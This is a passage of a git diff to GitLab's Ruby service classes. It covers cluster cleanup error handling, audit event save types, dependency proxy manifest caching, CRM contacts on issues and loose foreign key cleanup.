+ # certificate verify failed: Cluster is probably gone forever
+ raise unless e.message =~ /unauthorized|forbidden|certificate verify failed/i
end
kubernetes_namespace.destroy!
diff --git a/app/services/clusters/cleanup/service_account_service.rb b/app/services/clusters/cleanup/service_account_service.rb
index 53f968cd409..dce41d2a39c 100644
--- a/app/services/clusters/cleanup/service_account_service.rb
+++ b/app/services/clusters/cleanup/service_account_service.rb
@@ -24,6 +24,10 @@ module Clusters
# The resources have already been deleted, possibly on a previous attempt that timed out
rescue Gitlab::UrlBlocker::BlockedUrlError
# User gave an invalid cluster from the start, or deleted the endpoint before this job ran
+ rescue Kubeclient::HttpError => e
+ # unauthorized, forbidden: GitLab's access has been revoked
+ # certificate verify failed: Cluster is probably gone forever
+ raise unless e.message =~ /unauthorized|forbidden|certificate verify failed/i
end
end
end
diff --git a/app/services/cohorts_service.rb b/app/services/cohorts_service.rb
index 7bc3b267a12..1b1598b301c 100644
--- a/app/services/cohorts_service.rb
+++ b/app/services/cohorts_service.rb
@@ -38,7 +38,7 @@ class CohortsService
{
registration_month: registration_month,
- activity_months: activity_months[1..-1],
+ activity_months: activity_months[1..],
total: activity_months.first[:total],
inactive: inactive
}
diff --git a/app/services/concerns/admin/propagate_service.rb b/app/services/concerns/admin/propagate_service.rb
deleted file mode 100644
index 03e422aec54..00000000000
--- a/app/services/concerns/admin/propagate_service.rb
+++ /dev/null
@@ -1,37 +0,0 @@
-# frozen_string_literal: true
-
-module Admin
- module PropagateService
- extend ActiveSupport::Concern
-
- BATCH_SIZE = 10_000
-
- class_methods do
- def propagate(integration)
- new(integration).propagate
- end
- end
-
- def initialize(integration)
- @integration = integration
- end
-
- private
-
- attr_reader :integration
-
- def create_integration_for_projects_without_integration
- propagate_integrations(
- Project.without_integration(integration),
- PropagateIntegrationProjectWorker
- )
- end
-
- def propagate_integrations(relation, worker_class)
- relation.each_batch(of: BATCH_SIZE) do |records|
- min_id, max_id = records.pick("MIN(#{relation.table_name}.id), MAX(#{relation.table_name}.id)")
- worker_class.perform_async(integration.id, min_id, max_id)
- end
- end
- end
-end
diff --git a/app/services/concerns/audit_event_save_type.rb b/app/services/concerns/audit_event_save_type.rb
new file mode 100644
index 00000000000..6696e4adae7
--- /dev/null
+++ b/app/services/concerns/audit_event_save_type.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+module AuditEventSaveType
+ SAVE_TYPES = {
+ database: 0b01,
+ stream: 0b10,
+ database_and_stream: 0b11
+ }.freeze
+
+ # def should_save_stream?(type)
+ # def should_save_database?(type)
+ [:database, :stream].each do |type|
+ define_method("should_save_#{type}?") do |param_type|
+ return false unless save_type_valid?(param_type)
+
+ # If the current type does not support query, the result of the `&` operation is 0 .
+ SAVE_TYPES[param_type] & SAVE_TYPES[type] != 0
+ end
+ end
+
+ private
+
+ def save_type_valid?(type)
+ SAVE_TYPES.key?(type)
+ end
+end
diff --git a/app/services/concerns/protected_ref_name_sanitizer.rb b/app/services/concerns/protected_ref_name_sanitizer.rb
new file mode 100644
index 00000000000..3966c410fec
--- /dev/null
+++ b/app/services/concerns/protected_ref_name_sanitizer.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+module ProtectedRefNameSanitizer
+ def sanitize_name(name)
+ name = CGI.unescapeHTML(name)
+ name = Sanitize.fragment(name)
+
+ # Sanitize.fragment escapes HTML chars, so unescape again to allow names
+ # like `feature->master`
+ CGI.unescapeHTML(name)
+ end
+end
diff --git a/app/services/dependency_proxy/find_cached_manifest_service.rb b/app/services/dependency_proxy/find_cached_manifest_service.rb
new file mode 100644
index 00000000000..faf0402edaa
--- /dev/null
+++ b/app/services/dependency_proxy/find_cached_manifest_service.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+module DependencyProxy
+ class FindCachedManifestService < DependencyProxy::BaseService
+ def initialize(group, image, tag, token)
+ @group = group
+ @image = image
+ @tag = tag
+ @token = token
+ @file_name = "#{@image}:#{@tag}.json"
+ @manifest = nil
+ end
+
+ def execute
+ @manifest = @group.dependency_proxy_manifests
+ .active
+ .find_by_file_name_or_digest(file_name: @file_name, digest: @tag)
+
+ head_result = DependencyProxy::HeadManifestService.new(@image, @tag, @token).execute
+
+ return respond if cached_manifest_matches?(head_result)
+
+ success(manifest: nil, from_cache: false)
+ rescue Timeout::Error, *Gitlab::HTTP::HTTP_ERRORS
+ respond
+ end
+
+ private
+
+ def cached_manifest_matches?(head_result)
+ return false if head_result[:status] == :error
+
+ @manifest && @manifest.digest == head_result[:digest] && @manifest.content_type == head_result[:content_type]
+ end
+
+ def respond(from_cache: true)
+ if @manifest
+ @manifest.read!
+
+ success(manifest: @manifest, from_cache: from_cache)
+ else
+ error('Failed to download the manifest from the external registry', 503)
+ end
+ end
+ end
+end
diff --git a/app/services/dependency_proxy/find_or_create_manifest_service.rb b/app/services/dependency_proxy/find_or_create_manifest_service.rb
deleted file mode 100644
index aeb62be9f3a..00000000000
--- a/app/services/dependency_proxy/find_or_create_manifest_service.rb
+++ /dev/null
@@ -1,69 +0,0 @@
-# frozen_string_literal: true
-
-module DependencyProxy
- class FindOrCreateManifestService < DependencyProxy::BaseService
- def initialize(group, image, tag, token)
- @group = group
- @image = image
- @tag = tag
- @token = token
- @file_name = "#{@image}:#{@tag}.json"
- @manifest = nil
- end
-
- def execute
- @manifest = @group.dependency_proxy_manifests
- .active
- .find_by_file_name_or_digest(file_name: @file_name, digest: @tag)
-
- head_result = DependencyProxy::HeadManifestService.new(@image, @tag, @token).execute
-
- return respond if cached_manifest_matches?(head_result)
-
- if Feature.enabled?(:dependency_proxy_manifest_workhorse, @group, default_enabled: :yaml)
- success(manifest: nil, from_cache: false)
- else
- pull_new_manifest
- respond(from_cache: false)
- end
- rescue Timeout::Error, *Gitlab::HTTP::HTTP_ERRORS
- respond
- end
-
- private
-
- def pull_new_manifest
- DependencyProxy::PullManifestService.new(@image, @tag, @token).execute_with_manifest do |new_manifest|
- params = {
- file_name: @file_name,
- content_type: new_manifest[:content_type],
- digest: new_manifest[:digest],
- file: new_manifest[:file],
- size: new_manifest[:file].size
- }
-
- if @manifest
- @manifest.update!(params)
- else
- @manifest = @group.dependency_proxy_manifests.create!(params)
- end
- end
- end
-
- def cached_manifest_matches?(head_result)
- return false if head_result[:status] == :error
-
- @manifest && @manifest.digest == head_result[:digest] && @manifest.content_type == head_result[:content_type]
- end
-
- def respond(from_cache: true)
- if @manifest
- @manifest.read!
-
- success(manifest: @manifest, from_cache: from_cache)
- else
- error('Failed to download the manifest from the external registry', 503)
- end
- end
- end
-end
diff --git a/app/services/dependency_proxy/pull_manifest_service.rb b/app/services/dependency_proxy/pull_manifest_service.rb
deleted file mode 100644
index e8f0ad6374a..00000000000
--- a/app/services/dependency_proxy/pull_manifest_service.rb
+++ /dev/null
@@ -1,47 +0,0 @@
-# frozen_string_literal: true
-
-module DependencyProxy
- class PullManifestService < DependencyProxy::BaseService
- def initialize(image, tag, token)
- @image = image
- @tag = tag
- @token = token
- end
-
- def execute_with_manifest
- raise ArgumentError, 'Block must be provided' unless block_given?
-
- response = Gitlab::HTTP.get(manifest_url, headers: auth_headers.merge(Accept: ::ContainerRegistry::Client::ACCEPTED_TYPES.join(',')))
-
- if response.success?
- file = Tempfile.new
-
- begin
- file.write(response.body)
- file.flush
-
- yield(
- success(
- file: file,
- digest: response.headers[DependencyProxy::Manifest::DIGEST_HEADER],
- content_type: response.headers['content-type']
- )
- )
- ensure
- file.close
- file.unlink
- end
- else
- yield(error(response.body, response.code))
- end
- rescue Timeout::Error => exception
- error(exception.message, 599)
- end
-
- private
-
- def manifest_url
- registry.manifest_url(@image, @tag)
- end
- end
-end
diff --git a/app/services/deployments/older_deployments_drop_service.rb b/app/services/deployments/older_deployments_drop_service.rb
index 504b55b99ac..15384fb0db1 100644
--- a/app/services/deployments/older_deployments_drop_service.rb
+++ b/app/services/deployments/older_deployments_drop_service.rb
@@ -12,6 +12,8 @@ module Deployments
return unless @deployment&.running?
older_deployments_builds.each do |build|
+ next if build.manual?
+
Gitlab::OptimisticLocking.retry_lock(build, name: 'older_deployments_drop') do |build|
build.drop(:forward_deployment_failure)
end
diff --git a/app/services/events/destroy_service.rb b/app/services/events/destroy_service.rb
new file mode 100644
index 00000000000..fdb718f0fcb
--- /dev/null
+++ b/app/services/events/destroy_service.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module Events
+ class DestroyService
+ def initialize(project)
+ @project = project
+ end
+
+ def execute
+ project.events.all.delete_all
+
+ ServiceResponse.success(message: 'Events were deleted.')
+ rescue StandardError
+ ServiceResponse.error(message: 'Failed to remove events.')
+ end
+
+ private
+
+ attr_reader :project
+ end
+end
diff --git a/app/services/feature_flags/base_service.rb b/app/services/feature_flags/base_service.rb
index ca0b6b89199..86dc6188f0a 100644
--- a/app/services/feature_flags/base_service.rb
+++ b/app/services/feature_flags/base_service.rb
@@ -43,6 +43,7 @@ module FeatureFlags
def sync_to_jira(feature_flag)
return unless feature_flag.present?
+ return unless project.jira_subscription_exists?
seq_id = ::Atlassian::JiraConnect::Client.generate_update_sequence_id
feature_flag.run_after_commit do
diff --git a/app/services/git/branch_hooks_service.rb b/app/services/git/branch_hooks_service.rb
index 9b113be5465..aa471d3a69f 100644
--- a/app/services/git/branch_hooks_service.rb
+++ b/app/services/git/branch_hooks_service.rb
@@ -157,11 +157,11 @@ module Git
end
def unsigned_x509_shas(commits)
- X509CommitSignature.unsigned_commit_shas(commits.map(&:sha))
+ CommitSignatures::X509CommitSignature.unsigned_commit_shas(commits.map(&:sha))
end
def unsigned_gpg_shas(commits)
- GpgSignature.unsigned_commit_shas(commits.map(&:sha))
+ CommitSignatures::GpgSignature.unsigned_commit_shas(commits.map(&:sha))
end
def enqueue_update_signatures
diff --git a/app/services/git/branch_push_service.rb b/app/services/git/branch_push_service.rb
index 5bf39d98fa3..13223872e4f 100644
--- a/app/services/git/branch_push_service.rb
+++ b/app/services/git/branch_push_service.rb
@@ -26,7 +26,6 @@ module Git
enqueue_detect_repository_languages
execute_related_hooks
- perform_housekeeping
stop_environments
unlock_artifacts
@@ -71,13 +70,6 @@ module Git
BranchHooksService.new(project, current_user, params).execute
end
- def perform_housekeeping
- housekeeping = Repositories::HousekeepingService.new(project)
- housekeeping.increment!
- housekeeping.execute if housekeeping.needed?
- rescue Repositories::HousekeepingService::LeaseTaken
- end
-
def removing_branch?
Gitlab::Git.blank_ref?(newrev)
end
diff --git a/app/services/git/process_ref_changes_service.rb b/app/services/git/process_ref_changes_service.rb
index da05f18b5ac..d4081fc149b 100644
--- a/app/services/git/process_ref_changes_service.rb
+++ b/app/services/git/process_ref_changes_service.rb
@@ -9,6 +9,8 @@ module Git
process_changes_by_action(:branch, changes.branch_changes)
process_changes_by_action(:tag, changes.tag_changes)
+
+ perform_housekeeping
end
private
@@ -83,5 +85,12 @@ module Git
MergeRequests::PushedBranchesService.new(project: project, current_user: current_user, params: { changes: changes }).execute
end
+
+ def perform_housekeeping
+ housekeeping = Repositories::HousekeepingService.new(project)
+ housekeeping.increment!
+ housekeeping.execute if housekeeping.needed?
+ rescue Repositories::HousekeepingService::LeaseTaken
+ end
end
end
diff --git a/app/services/google_cloud/service_accounts_service.rb b/app/services/google_cloud/service_accounts_service.rb
index 29ed69693b0..a512b27493d 100644
--- a/app/services/google_cloud/service_accounts_service.rb
+++ b/app/services/google_cloud/service_accounts_service.rb
@@ -27,6 +27,24 @@ module GoogleCloud
end
end
+ def add_for_project(environment, gcp_project_id, service_account, service_account_key)
+ project_var_create_or_replace(
+ environment,
+ 'GCP_PROJECT_ID',
+ gcp_project_id
+ )
+ project_var_create_or_replace(
+ environment,
+ 'GCP_SERVICE_ACCOUNT',
+ service_account
+ )
+ project_var_create_or_replace(
+ environment,
+ 'GCP_SERVICE_ACCOUNT_KEY',
+ service_account_key
+ )
+ end
+
private
def group_vars_by_environment
@@ -36,5 +54,12 @@ module GoogleCloud
grouped[variable.environment_scope][variable.key] = variable.value
end
end
+
+ def project_var_create_or_replace(environment_scope, key, value)
+ params = { key: key, filter: { environment_scope: environment_scope } }
+ existing_variable = ::Ci::VariablesFinder.new(@project, params).execute.first
+ existing_variable.destroy if existing_variable
+ @project.variables.create!(key: key, value: value, environment_scope: environment_scope, protected: true)
+ end
end
end
diff --git a/app/services/gravatar_service.rb b/app/services/gravatar_service.rb
index 2a7a5dae291..a689b088854 100644
--- a/app/services/gravatar_service.rb
+++ b/app/services/gravatar_service.rb
@@ -8,7 +8,7 @@ class GravatarService
return unless identifier
hash = Digest::MD5.hexdigest(identifier.strip.downcase)
- size = 40 unless size && size > 0
+ size = Groups::GroupMembersHelper::AVATAR_SIZE unless size && size > 0
sprintf gravatar_url,
hash: hash,
diff --git a/app/services/groups/transfer_service.rb b/app/services/groups/transfer_service.rb
index cd89eb799dc..10ff4961faf 100644
--- a/app/services/groups/transfer_service.rb
+++ b/app/services/groups/transfer_service.rb
@@ -29,11 +29,11 @@ module Groups
update_group_attributes
ensure_ownership
update_integrations
- update_pending_builds!
end
post_update_hooks(@updated_project_ids)
propagate_integrations
+ update_pending_builds
true
end
@@ -228,13 +228,15 @@ module Groups
end
end
- def update_pending_builds!
- update_params = {
+ def update_pending_builds
+ ::Ci::PendingBuilds::UpdateGroupWorker.perform_async(group.id, pending_builds_params)
+ end
+
+ def pending_builds_params
+ {
namespace_traversal_ids: group.traversal_ids,
namespace_id: group.id
}
-
- ::Ci::UpdatePendingBuildService.new(group, update_params).execute
end
end
end
diff --git a/app/services/groups/update_shared_runners_service.rb b/app/services/groups/update_shared_runners_service.rb
index eb6b46a5613..c09dce0761f 100644
--- a/app/services/groups/update_shared_runners_service.rb
+++ b/app/services/groups/update_shared_runners_service.rb
@@ -8,7 +8,7 @@ module Groups
validate_params
update_shared_runners
- update_pending_builds!
+ update_pending_builds_async
success
@@ -28,12 +28,18 @@ module Groups
group.update_shared_runners_setting!(params[:shared_runners_setting])
end
- def update_pending_builds!
- return unless group.previous_changes.include?('shared_runners_enabled')
+ def update_pending_builds?
+ group.previous_changes.include?('shared_runners_enabled')
+ end
+
+ def update_pending_builds_async
+ return unless update_pending_builds?
- update_params = { instance_runners_enabled: group.shared_runners_enabled }
+ group.run_after_commit_or_now do |group|
+ pending_builds_params = { instance_runners_enabled: group.shared_runners_enabled }
- ::Ci::UpdatePendingBuildService.new(group, update_params).execute
+ ::Ci::UpdatePendingBuildService.new(group, pending_builds_params).execute
+ end
end
end
end
diff --git a/app/services/import/github_service.rb b/app/services/import/github_service.rb
index 2aaab88e778..061543b5885 100644
--- a/app/services/import/github_service.rb
+++ b/app/services/import/github_service.rb
@@ -10,7 +10,7 @@ module Import
def execute(access_params, provider)
if blocked_url?
- return log_and_return_error("Invalid URL: #{url}", :bad_request)
+ return log_and_return_error("Invalid URL: #{url}", _("Invalid URL: %{url}") % { url: url }, :bad_request)
end
unless authorized?
@@ -119,6 +119,15 @@ module Import
error(_('Import failed due to a GitHub error: %{original}') % { original: exception.response_body }, :unprocessable_entity)
end
+
+ def log_and_return_error(message, translated_message, http_status)
+ Gitlab::GithubImport::Logger.error(
+ message: 'Error while attempting to import from GitHub',
+ error: message
+ )
+
+ error(translated_message, http_status)
+ end
end
end
diff --git a/app/services/incident_management/issuable_escalation_statuses/create_service.rb b/app/services/incident_management/issuable_escalation_statuses/create_service.rb
new file mode 100644
index 00000000000..e28debf0fa3
--- /dev/null
+++ b/app/services/incident_management/issuable_escalation_statuses/create_service.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+module IncidentManagement
+ module IssuableEscalationStatuses
+ class CreateService < BaseService
+ def initialize(issue)
+ @issue = issue
+ @alert = issue.alert_management_alert
+ end
+
+ def execute
+ escalation_status = ::IncidentManagement::IssuableEscalationStatus.new(issue: issue, **alert_params)
+
+ if escalation_status.save
+ ServiceResponse.success(payload: { escalation_status: escalation_status })
+ else
+ ServiceResponse.error(message: escalation_status.errors&.full_messages)
+ end
+ end
+
+ private
+
+ attr_reader :issue, :alert
+
+ def alert_params
+ return {} unless alert
+
+ {
+ status_event: alert.status_event_for(alert.status_name)
+ }
+ end
+ end
+ end
+end
+
+IncidentManagement::IssuableEscalationStatuses::CreateService.prepend_mod
diff --git a/app/services/integrations/propagate_service.rb b/app/services/integrations/propagate_service.rb
new file mode 100644
index 00000000000..6d27929d2d0
--- /dev/null
+++ b/app/services/integrations/propagate_service.rb
@@ -0,0 +1,80 @@
+# frozen_string_literal: true
+
+module Integrations
+ class PropagateService
+ BATCH_SIZE = 10_000
+
+ def initialize(integration)
+ @integration = integration
+ end
+
+ def propagate
+ if integration.instance_level?
+ update_inherited_integrations
+ create_integration_for_groups_without_integration
+ create_integration_for_projects_without_integration
+ else
+ update_inherited_descendant_integrations
+ create_integration_for_groups_without_integration_belonging_to_group
+ create_integration_for_projects_without_integration_belonging_to_group
+ end
+ end
+
+ def self.propagate(integration)
+ new(integration).propagate
+ end
+
+ private
+
+ attr_reader :integration
+
+ def create_integration_for_projects_without_integration
+ propagate_integrations(
+ Project.without_integration(integration),
+ PropagateIntegrationProjectWorker
+ )
+ end
+
+ def update_inherited_integrations
+ propagate_integrations(
+ Integration.by_type(integration.type).inherit_from_id(integration.id),
+ PropagateIntegrationInheritWorker
+ )
+ end
+
+ def update_inherited_descendant_integrations
+ propagate_integrations(
+ Integration.inherited_descendants_from_self_or_ancestors_from(integration),
+ PropagateIntegrationInheritDescendantWorker
+ )
+ end
+
+ def create_integration_for_groups_without_integration
+ propagate_integrations(
+ Group.without_integration(integration),
+ PropagateIntegrationGroupWorker
+ )
+ end
+
+ def create_integration_for_groups_without_integration_belonging_to_group
+ propagate_integrations(
+ integration.group.descendants.without_integration(integration),
+ PropagateIntegrationGroupWorker
+ )
+ end
+
+ def create_integration_for_projects_without_integration_belonging_to_group
+ propagate_integrations(
+ Project.without_integration(integration).in_namespace(integration.group.self_and_descendants),
+ PropagateIntegrationProjectWorker
+ )
+ end
+
+ def propagate_integrations(relation, worker_class)
+ relation.each_batch(of: BATCH_SIZE) do |records|
+ min_id, max_id = records.pick("MIN(#{relation.table_name}.id), MAX(#{relation.table_name}.id)")
+ worker_class.perform_async(integration.id, min_id, max_id)
+ end
+ end
+ end
+end
diff --git a/app/services/integrations/propagate_template_service.rb b/app/services/integrations/propagate_template_service.rb
new file mode 100644
index 00000000000..85a82ba4c8e
--- /dev/null
+++ b/app/services/integrations/propagate_template_service.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+module Integrations
+ # TODO: Remove this as part of https://gitlab.com/gitlab-org/gitlab/-/issues/335178
+ class PropagateTemplateService
+ def self.propagate(_integration)
+ # no-op
+ end
+ end
+end
diff --git a/app/services/issuable_base_service.rb b/app/services/issuable_base_service.rb
index 2daf098b94a..1d1d9b6bec7 100644
--- a/app/services/issuable_base_service.rb
+++ b/app/services/issuable_base_service.rb
@@ -56,6 +56,8 @@ class IssuableBaseService < ::BaseProjectService
# confidential attribute is a special type of metadata and needs to be allowed to be set
# by non-members on issues in public projects so that security issues can be reported as confidential.
params.delete(:confidential) unless can?(current_user, :set_confidentiality, issuable)
+ params.delete(:add_contacts) unless can?(current_user, :set_issue_crm_contacts, issuable)
+ params.delete(:remove_contacts) unless can?(current_user, :set_issue_crm_contacts, issuable)
filter_assignees(issuable)
filter_milestone
@@ -206,6 +208,9 @@ class IssuableBaseService < ::BaseProjectService
params[:assignee_ids] = process_assignee_ids(params, extra_assignee_ids: issuable.assignee_ids.to_a)
end
+ params.delete(:remove_contacts)
+ add_crm_contact_emails = params.delete(:add_contacts)
+
issuable.assign_attributes(allowed_create_params(params))
before_create(issuable)
@@ -219,6 +224,7 @@ class IssuableBaseService < ::BaseProjectService
handle_changes(issuable, { params: params })
after_create(issuable)
+ set_crm_contacts(issuable, add_crm_contact_emails)
execute_hooks(issuable)
users_to_invalidate = issuable.allows_reviewers? ? issuable.assignees | issuable.reviewers : issuable.assignees
@@ -229,6 +235,12 @@ class IssuableBaseService < ::BaseProjectService
issuable
end
+ def set_crm_contacts(issuable, add_crm_contact_emails, remove_crm_contact_emails = [])
+ return unless add_crm_contact_emails.present? || remove_crm_contact_emails.present?
+
+ ::Issues::SetCrmContactsService.new(project: project, current_user: current_user, params: { add_emails: add_crm_contact_emails, remove_emails: remove_crm_contact_emails }).execute(issuable)
+ end
+
def before_create(issuable)
# To be overridden by subclasses
end
@@ -254,6 +266,7 @@ class IssuableBaseService < ::BaseProjectService
assign_requested_labels(issuable)
assign_requested_assignees(issuable)
+ assign_requested_crm_contacts(issuable)
if issuable.changed? || params.present?
issuable.assign_attributes(allowed_update_params(params))
@@ -414,6 +427,12 @@ class IssuableBaseService < ::BaseProjectService
issuable.touch
end
+ def assign_requested_crm_contacts(issuable)
+ add_crm_contact_emails = params.delete(:add_contacts)
+ remove_crm_contact_emails = params.delete(:remove_contacts)
+ set_crm_contacts(issuable, add_crm_contact_emails, remove_crm_contact_emails)
+ end
+
def assign_requested_assignees(issuable)
return if issuable.is_a?(Epic)
diff --git a/app/services/issues/base_service.rb b/app/services/issues/base_service.rb
index efb5de5b17c..577f7dd1e3a 100644
--- a/app/services/issues/base_service.rb
+++ b/app/services/issues/base_service.rb
@@ -30,7 +30,7 @@ module Issues
gates = [issue.project, issue.project.group].compact
return unless gates.any? { |gate| Feature.enabled?(:rebalance_issues, gate) }
- IssueRebalancingWorker.perform_async(nil, *issue.project.self_or_root_group_ids)
+ Issues::RebalancingWorker.perform_async(nil, *issue.project.self_or_root_group_ids)
end
private
diff --git a/app/services/issues/create_service.rb b/app/services/issues/create_service.rb
index fa8d380404b..79b59eee5e1 100644
--- a/app/services/issues/create_service.rb
+++ b/app/services/issues/create_service.rb
@@ -41,7 +41,7 @@ module Issues
user = current_user
issue.run_after_commit do
NewIssueWorker.perform_async(issue.id, user.id)
- IssuePlacementWorker.perform_async(nil, issue.project_id)
+ Issues::PlacementWorker.perform_async(nil, issue.project_id)
Namespaces::OnboardingIssueCreatedWorker.perform_async(issue.namespace.id)
end
end
@@ -50,6 +50,7 @@ module Issues
def after_create(issue)
user_agent_detail_service.create
resolve_discussions_with_issue(issue)
+ create_escalation_status(issue)
super
end
@@ -80,6 +81,10 @@ module Issues
attr_reader :spam_params
+ def create_escalation_status(issue)
+ ::IncidentManagement::IssuableEscalationStatuses::CreateService.new(issue).execute if issue.supports_escalation?
+ end
+
def user_agent_detail_service
UserAgentDetailService.new(spammable: @issue, spam_params: spam_params)
end
diff --git a/app/services/issues/set_crm_contacts_service.rb b/app/services/issues/set_crm_contacts_service.rb
index 13fe30b5ac8..c435ab81b4d 100644
--- a/app/services/issues/set_crm_contacts_service.rb
+++ b/app/services/issues/set_crm_contacts_service.rb
@@ -2,10 +2,9 @@
module Issues
class SetCrmContactsService < ::BaseProjectService
- attr_accessor :issue, :errors
-
MAX_ADDITIONAL_CONTACTS = 6
+ # Replacing contacts by email is not currently supported
def execute(issue)
@issue = issue
@errors = []
@@ -13,33 +12,49 @@ module Issues
return error_no_permissions unless allowed?
return error_invalid_params unless valid_params?
- determine_changes if params[:crm_contact_ids]
-
+ @existing_ids = issue.customer_relations_contact_ids
+ determine_changes if params[:replace_ids].present?
return error_too_many if too_many?
- add_contacts if params[:add_crm_contact_ids]
- remove_contacts if params[:remove_crm_contact_ids]
+ add if params[:add_ids].present?
+ remove if params[:remove_ids].present?
+
+ add_by_email if params[:add_emails].present?
+ remove_by_email if params[:remove_emails].present?
if issue.valid?
+ GraphqlTriggers.issue_crm_contacts_updated(issue)
+ issue.touch
ServiceResponse.success(payload: issue)
else
# The default error isn't very helpful: "Issue customer relations contacts is invalid"
issue.errors.delete(:issue_customer_relations_contacts)
issue.errors.add(:issue_customer_relations_contacts, errors.to_sentence)
- ServiceResponse.error(payload: issue, message: issue.errors.full_messages)
+ ServiceResponse.error(payload: issue, message: issue.errors.full_messages.to_sentence)
end
end
private
+ attr_accessor :issue, :errors, :existing_ids
+
def determine_changes
- existing_contact_ids = issue.issue_customer_relations_contacts.map(&:contact_id)
- params[:add_crm_contact_ids] = params[:crm_contact_ids] - existing_contact_ids
- params[:remove_crm_contact_ids] = existing_contact_ids - params[:crm_contact_ids]
+ params[:add_ids] = params[:replace_ids] - existing_ids
+ params[:remove_ids] = existing_ids - params[:replace_ids]
+ end
+
+ def add
+ add_by_id(params[:add_ids])
+ end
+
+ def add_by_email
+ contact_ids = ::CustomerRelations::Contact.find_ids_by_emails(project_group.id, params[:add_emails])
+ add_by_id(contact_ids)
end
- def add_contacts
- params[:add_crm_contact_ids].uniq.each do |contact_id|
+ def add_by_id(contact_ids)
+ contact_ids -= existing_ids
+ contact_ids.uniq.each do |contact_id|
issue_contact = issue.issue_customer_relations_contacts.create(contact_id: contact_id)
unless issue_contact.persisted?
@@ -49,9 +64,19 @@ module Issues
end
end
- def remove_contacts
+ def remove
+ remove_by_id(params[:remove_ids])
+ end
+
+ def remove_by_email
+ contact_ids = ::CustomerRelations::IssueContact.find_contact_ids_by_emails(issue.id, params[:remove_emails])
+ remove_by_id(contact_ids)
+ end
+
+ def remove_by_id(contact_ids)
+ contact_ids &= existing_ids
issue.issue_customer_relations_contacts
- .where(contact_id: params[:remove_crm_contact_ids]) # rubocop: disable CodeReuse/ActiveRecord
+ .where(contact_id: contact_ids) # rubocop: disable CodeReuse/ActiveRecord
.delete_all
end
@@ -64,27 +89,43 @@ module Issues
end
def set_present?
- params[:crm_contact_ids].present?
+ params[:replace_ids].present?
end
def add_or_remove_present?
- params[:add_crm_contact_ids].present? || params[:remove_crm_contact_ids].present?
+ add_present? || remove_present?
+ end
+
+ def add_present?
+ params[:add_ids].present? || params[:add_emails].present?
+ end
+
+ def remove_present?
+ params[:remove_ids].present? || params[:remove_emails].present?
end
def too_many?
- params[:add_crm_contact_ids] && params[:add_crm_contact_ids].length > MAX_ADDITIONAL_CONTACTS
+ too_many_ids? || too_many_emails?
+ end
+
+ def too_many_ids?
+ params[:add_ids] && params[:add_ids].length > MAX_ADDITIONAL_CONTACTS
+ end
+
+ def too_many_emails?
+ params[:add_emails] && params[:add_emails].length > MAX_ADDITIONAL_CONTACTS
end
def error_no_permissions
- ServiceResponse.error(message: ['You have insufficient permissions to set customer relations contacts for this issue'])
+ ServiceResponse.error(message: _('You have insufficient permissions to set customer relations contacts for this issue'))
end
def error_invalid_params
- ServiceResponse.error(message: ['You cannot combine crm_contact_ids with add_crm_contact_ids or remove_crm_contact_ids'])
+ ServiceResponse.error(message: _('You cannot combine replace_ids with add_ids or remove_ids'))
end
def error_too_many
- ServiceResponse.error(payload: issue, message: ["You can only add up to #{MAX_ADDITIONAL_CONTACTS} contacts at one time"])
+ ServiceResponse.error(payload: issue, message: _("You can only add up to %{max_contacts} contacts at one time" % { max_contacts: MAX_ADDITIONAL_CONTACTS }))
end
end
end
diff --git a/app/services/loose_foreign_keys/batch_cleaner_service.rb b/app/services/loose_foreign_keys/batch_cleaner_service.rb
index 06c05e8ff54..de52cbba576 100644
--- a/app/services/loose_foreign_keys/batch_cleaner_service.rb
+++ b/app/services/loose_foreign_keys/batch_cleaner_service.rb
@@ -2,11 +2,11 @@
module LooseForeignKeys
class BatchCleanerService
- def initialize(parent_klass:, deleted_parent_records:, modification_tracker: LooseForeignKeys::ModificationTracker.new, models_by_table_name:)
- @parent_klass = parent_klass
+ def initialize(parent_table:, loose_foreign_key_definitions:, deleted_parent_records:, modification_tracker: LooseForeignKeys::ModificationTracker.new)
+ @parent_table = parent_table
+ @loose_foreign_key_definitions = loose_foreign_key_definitions
@deleted_parent_records = deleted_parent_records
@modification_tracker = modification_tracker
- @models_by_table_name = models_by_table_name
@deleted_records_counter = Gitlab::Metrics.counter(
:loose_foreign_key_processed_deleted_records,
'The number of processed loose foreign key deleted records'
@@ -14,11 +14,11 @@ module LooseForeignKeys
end
def execute
- parent_klass.loose_foreign_key_definitions.each do |foreign_key_definition|
- run_cleaner_service(foreign_key_definition, with_skip_locked: true)
+ loose_foreign_key_definitions.each do |loose_foreign_key_definition|
+ run_cleaner_service(loose_foreign_key_definition, with_skip_locked: true)
break if modification_tracker.over_limit?
- run_cleaner_service(foreign_key_definition, with_skip_locked: false)
+ run_cleaner_service(loose_foreign_key_definition, with_skip_locked: false)
break if modification_tracker.over_limit?
end
@@ -27,12 +27,12 @@ module LooseForeignKeys
# At this point, all associations are cleaned up, we can update the status of the parent records
update_count = LooseForeignKeys::DeletedRecord.mark_records_processed(deleted_parent_records)
- deleted_records_counter.increment({ table: parent_klass.table_name, db_config_name: LooseForeignKeys::DeletedRecord.connection.pool.db_config.name }, update_count)
+ deleted_records_counter.increment({ table: parent_table, db_config_name: LooseForeignKeys::DeletedRecord.connection.pool.db_config.name }, update_count)
end
private
- attr_reader :parent_klass, :deleted_parent_records, :modification_tracker, :models_by_table_name, :deleted_records_counter
+ attr_reader :parent_table, :loose_foreign_key_definitions, :deleted_parent_records, :modification_tracker, :deleted_records_counter
def record_result(cleaner, result)
if cleaner.async_delete?
@@ -42,19 +42,22 @@ module LooseForeignKeys
end
end
- def run_cleaner_service(foreign_key_definition, with_skip_locked:)
- cleaner = CleanerService.new(
- model: models_by_table_name.fetch(foreign_key_definition.to_table),
- foreign_key_definition: foreign_key_definition,
- deleted_parent_records: deleted_parent_records,
- with_skip_locked: with_skip_locked
- )
+ def run_cleaner_service(loose_foreign_key_definition, with_skip_locked:)
+ base_models_for_gitlab_schema = Gitlab::Database.schemas_to_base_models.fetch(loose_foreign_key_definition.options[:gitlab_schema])
+ base_models_for_gitlab_schema.each do |base_model|
+ cleaner = CleanerService.new(
+ loose_foreign_key_definition: loose_foreign_key_definition,
+ connection: base_model.connection,
+ deleted_parent_records: deleted_parent_records,
